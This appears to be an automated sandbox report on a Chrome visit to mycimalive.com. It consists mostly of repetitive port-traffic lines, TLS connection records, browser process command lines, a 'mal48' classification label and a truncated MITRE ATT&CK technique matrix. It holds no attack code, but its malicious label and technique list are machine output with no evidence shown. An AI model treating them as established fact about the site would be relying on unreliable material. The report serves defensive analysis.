Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 50313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50337
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50336
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50339
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50338
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50330
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50333
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50332
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50335
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50334
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50347
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50349
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50342
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50341
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 50339 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50344
Source: unknown	Network traffic detected: HTTP traffic on port 50352 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50343
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50345
Source: unknown	Network traffic detected: HTTP traffic on port 50289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50359
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50351
Source: unknown	Network traffic detected: HTTP traffic on port 50317 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50350
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50353
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50352
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50355
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50354
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50357
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50360
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50362
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50361
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50363
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50304
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50303
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50306
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50305
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50307
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50309
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50300
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50301
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50315
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50314
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50317
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50316
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50319
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50318
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50311
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50310
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50313
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50312
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50326
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50325
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50327
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50329
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50320
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50322
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50321
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50324
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50323
Source: unknown	Network traffic detected: HTTP traffic on port 50290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50296
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50295
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50298
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50297
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50299
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50343 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 50331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50259
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 50353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50260
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50262
Source: unknown	Network traffic detected: HTTP traffic on port 50318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50264
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50268
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50270
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50272
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50271

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50185 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50274 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50289 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50357 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50359 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50363 version: TLS 1.2

Source: classification engine

Classification label: mal48.win@24/300@144/30

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2040,i,11590247818774784367,6690440306687084841,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.mycimalive.com/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2040,i,11590247818774784367,6690440306687084841,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
